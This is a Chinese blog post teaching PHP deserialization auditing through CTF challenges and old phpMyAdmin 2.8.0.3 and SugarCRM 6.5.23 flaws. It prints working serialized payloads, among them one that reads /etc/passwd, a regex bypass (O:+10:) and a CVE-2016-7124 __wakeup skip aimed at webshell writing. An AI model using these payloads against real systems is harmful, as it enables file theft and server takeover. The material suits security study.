Bubbles~blog

用爱发电

代码审计初步之php反序列化

最近事情一直比较多,大概是临近期末了,关于代码审计的东西也一直看得断断续续的,还要忙硬件的东西和机器学习,希望后面能多下点功夫吧

今天大致来看看反序列化漏洞在php中的应用,虽然感觉这东西更多地见于java里,不过java也没怎么研究过,道理应该是差不多的

php的序列化

php中我们使用serialize()来序列化一个对象,将这个对象转化成字符串来方便传送,unserialize()则用来将序列化的字符串反序列化为一个对象,这本身是很没啥的,但是当我们反序列化的参数是可控的那么就有可能出问题了

ctf中的例子

在ctf中我们也经常可以见到这样的题型,看一个比较典型的例子

<?php
class havefun {
    var $enter;
    var $secret;
}
 
if (isset($_GET['pass'])) {
    $pass = $_GET['pass'];
 
    if(get_magic_quotes_gpc()){
        $pass=stripslashes($pass);
    }
 
    $o = unserialize($pass);
 
    if ($o) {
        $o->secret = "have_a_good_time";
        if ($o->secret === $o->enter)
            echo "Congratulation! Here is my secret: ".$o->secret;
        else 
            echo "you are wrong";
    }
    else echo "NoNoNo";
}
?>

这里要求我们输入的pass跟源码中的secret相同,当然看到这里将我们的pass给反序列化了我们也能猜到要怎么做了,唯一的坑点是我们不知道secret是什么,毕竟是flag,所以这里还要借用一下php的指针概念,将类中的两个对象绑到一个地址上

<?php
class havefun {
    var $enter;
    var $secret;
}
 
 
$a=new havefun();
$a->enter="give_me";
$a->secret=&$a->enter;
print serialize($a);
?>

这里我们传递的enter无所谓是什么,因为我们使用指针将它们的内存地址绑在了一起,在反序列化以后更改了sercret后自然也将enter的值改为了flag
所以得到序列化后的字符串
O:7:”havefun”:2:{s:5:”enter”;s:7:”give_me”;s:6:”secret”;R:2;}
传递给pass即可获取flag
这里的例子还是算比较直白的,事实上常见的反序列化是跟魔术方法相结合的
比如来看NJCTF2017的一道题,下面是部分源码

<?php
$lists=[];
class filelist{
	public function __toString()
	{
		return highlight_file)'hiehiehie.txt',true).hilight_file($this->source,true);
	}
}
?>

这里利用的也是反序列化,主要是注意__toString()方法,这是php类中的魔术方法之一,当对象被当做字符串的过程中将被自动调用,像类似的还有
__construct方法,在类被创建成对象前调用
__sleep方法,在对象被序列化的过程中自动调用
__wakeup方法,在序列化字符串被反序列化的过程中被调用
__destruct方法,对象被销毁的时候调用
在这道题里我们想到的就是利用source来读取flag,这道题是将序列化的字符串传递给了cookie,然后还有sha1的校验,其实也很方便

<?php
class filelist{
	public function __toString()
	{
		return highlight_file('hiehiehie.txt',true).hilight_file($this->source,true);
	}
}
$a=new filelist();
$a->source="index.php";
$b=array($a,"1");
$c=serialize($b);
echo sha1($c).$c;
?>

得到序列化的字符串
466d99fe7df16d9e9c0ebae75e9b8f3c324aa582a:2:{i:0;O:8:”filelist”:1:{s:6:”source”;s:9:”index.php”;}i:1;s:1:”1″;}

这里也是先建立一个新的对象将source赋值为index.php,然后将对象代入一个数组中,这样主要是为了符合cookie的参数规则,序列化后加上sha1的值传递给cookie即可,这里flag的路径在index.php中,得到后再进行一次反序列即可

序列化漏洞的审计

事实上之前的例子我们大致也看到了,要挖掘反序列化的漏洞关键就是寻找可控的反序列化对象,拿到一份源码我们可以直接全局搜索unserialize和serialize,看这个变量我们是否可控,然后寻找可被利用的对象,因为我们的unserialize只能反序列化已有的对象,所以找到一个unserialize的点后,我们可以在当前文件以及它所引入的所有php文件里寻找可控的对象,前面我们也提到了php类中的魔术方法,事实上常见的可利用的还是__wakeup和__destruct方法,我们可以直接先搜寻一下是否有这两个方法来寻找我们的可控对象

其实找到以后怎么利用还是取决于这里的对象是如何调用的,针对不同的情况我们可能利用反序列化来注入或者进行任意文件读取之类的,所以感觉反序列化漏洞更倾向于一个工具,最后的结果还是看我们怎么应用
下面来看两个例子

先来看一下phpmyadmin 2.8.0.3的一处反序列化
这个版本确实挺老了,比较06年的玩意,现在官网也不提供下载了,不过思路可以学习一下

出现问题的部分在/scipts/setup.php
查找unserialize可以看到

if (isset($_POST['configuration'])&&$action!='clear'){
    // Grab previous configuration,if it should be cleared
    $configuration=unserialize($_POST['configuration']);
}

这里把传入的configuration给反序列化了,我们来寻找可以利用的对象
这里涉及到很多的文件调用,我们一级一级找下去,最后终于在/librarier/Config.class.php找到了我们需要的类,这里定义了一个PMA_Config(),里面恰恰调用了前面提到的魔术方法__wakeup

function __wakeup()
{
    if(file_exits($this->getSource())&&$this->source_mtime !==filemtime($this->getSource())||$this->error_config_file||$this->error_config_default_file){
        $this->settins=array();
        $this->load($this->getSource());
        $this->checkSystem();
    }
...
}

到这我们可以敏感一点,看到里面的load想到可能的文件读取,跟进一下load函数

    function load($source = null)
    {
        $this->loadDefaults();
 
        if ( null !== $source ) {
            $this->setSource($source);
        }
 
        if ( ! $this->checkConfigSource() ) {
            return false;
        }
 
        $cfg = array();
 
        /**
         * Parses the configuration file
         */
        $old_error_reporting = error_reporting(0);
        if ( function_exists('file_get_contents') ) {
            $eval_result =
                eval( '?>' . file_get_contents($this->getSource()) );
        } else {
            $eval_result =
                eval( '?>' . implode("\n", file($this->getSource())) );
        }
        error_reporting($old_error_reporting);
 
        if ( $eval_result === false ) {
            $this->error_config_file = true;
        } else  {
            $this->error_config_file = false;
            $this->source_mtime = filemtime($this->getSource());
        }
 
        /**
         * @TODO check validity of $_COOKIE['pma_collation_connection']
         */
        if ( ! empty( $_COOKIE['pma_collation_connection'] ) ) {
            $this->set('collation_connection',
                strip_tags($_COOKIE['pma_collation_connection']) );
        } else {
            $this->set('collation_connection',
                $this->get('DefaultConnectionCollation') );
        }
 
        $this->checkCollationConnection();
        //$this->checkPmaAbsoluteUri();
        $this->settings = PMA_array_merge_recursive($this->settings, $cfg);
        return true;
    }

现在就很清楚了,在load函数里我们就可以利用eval然后进行任意文件读取
构造我们的序列化字符串

class PMA_Config
{
public $source;
}
$a =new PMA_Config();
$a->source="/etc/passwd";
$b=serialize($a);
print $b;
?>

得到我们的payload字符串
O:10:”PMA_Config”:1:{s:6:”source”,s:11:”/etc/passwd”;}
当然,你也可以将source改写为你的你的shell地址,达到getshell的效果

这个例子里也算是非常直接的,我们直接去搜索可能的漏洞函数就能一步一步找到问题
下面我们再来看SugarCRM v6.5.23的PHP反序列化漏洞,上面那个最后的利用方式是文件读取,而这个则是注入
同样是寻找unserialize

function serve(){
    $GLOBALS['log']->info('Begin: SugarRestSerialize->serve');
    $data = !empty($_REQUEST['rest_data'])? $_REQUEST['rest_data']: '';
    if(empty($_REQUEST['method']) || !method_exists($this->implementation, $_REQUEST['method'])){
        ...
    }else{
        $method = $_REQUEST['method'];
        $data = sugar_unserialize(from_html($data));
        ...
    }
}

看到这里它是自己定义了一个sugar_unserialize函数,我们跟进看看

function sugar_unserialize($value)
{
    preg_match('/[oc]:\d+:/i', $value, $matches);
 
    if (count($matches)) {
        return false;
    }
 
    return unserialize($value);
}

这里在反序列化之前增加了一个正则,对于object对象它是想禁止反序列化的,也就是只要有O:10:这样的字符串就会触发,然而此处的正则写的并不够好,我们可以通过在数字前加一个加号,变成O:+10:即可绕过,接下来就是寻找可控的对象了,同样是在当前文件的各级引用里寻找
在include/SugarCache/SugarCacheFile.php中的SugarCacheFile类里我们同时找到了__destruce和__wakeup

public function __destruct()
{
    parent::__destruct();
 
    if ( $this->_cacheChanged )
        sugar_file_put_contents(sugar_cached($this->_cacheFileName), serialize($this->_localStore));
}
 
/**
* This is needed to prevent unserialize vulnerability
*/
public function __wakeup()
{
    // clean all properties
    foreach(get_object_vars($this) as $k => $v) {
        $this->$k = null;
    }
    throw new Exception("Not a serializable object");
}

在__destruct里我们看到了一个自定义的sugar_file_put_contents,跟进看看

function sugar_file_put_contents($filename, $data, $flags=null, $context=null){
    //check to see if the file exists, if not then use touch to create it.
    if(!file_exists($filename)){
        sugar_touch($filename);
    }
 
    if ( !is_writable($filename) ) {
        $GLOBALS['log']->error("File $filename cannot be written to");
        return false;
    }
 
    if(empty($flags)) {
        return file_put_contents($filename, $data);
    } elseif(empty($context)) {
        return file_put_contents($filename, $data, $flags);
    } else{
        return file_put_contents($filename, $data, $flags, $context);
    }
}

让人欣喜的是这里没有做任何过滤和限制,参数$flag为空的时候直接写入了我们的data,这里传入的$data是serialize($this->_localStore),我们将payload传递进一个数组赋给_localStore即可,看到这里你或许以为已经成功找到了症结,可以愉快地写入webshell了,然而事实上在前面的__destruce下面的__wakeup部分还有做出了限制,它将所有的对象的属性都清除了,而__wakeup的调用是在__destruct之前的,这就让人头痛了

这里的绕过利用了php的一个漏洞CVE-2016-7124,概况来说就是当序列化字符串里的对象属性的值要比真是的属性个数要大时,__wakeup的执行就会终止,这里刚好将我们遇到的__wakeup给跳过去了

接下来就是构造我们的序列化对象,然后寻找可以调用serve函数来反序列化的地方将我们的参数传递过去,在这就不多说了,已经写得累死了。。。

写在最后

综合看了这么多例子,大致也能发现反序列化漏洞的挖掘大致就是先寻找可控的反序列化的点,然后寻找可利用的对象,看看是否有魔术方法,魔术方法又是否可以利用,基本是一环套一环的结构,当然这也只是一种审计的思路,也看到还有针对composer的集中测试,这玩意也没怎么用,只是装laravel的时候接触了一点,其实道理也是差不多的,因为还没怎么试过,这里就不赘述了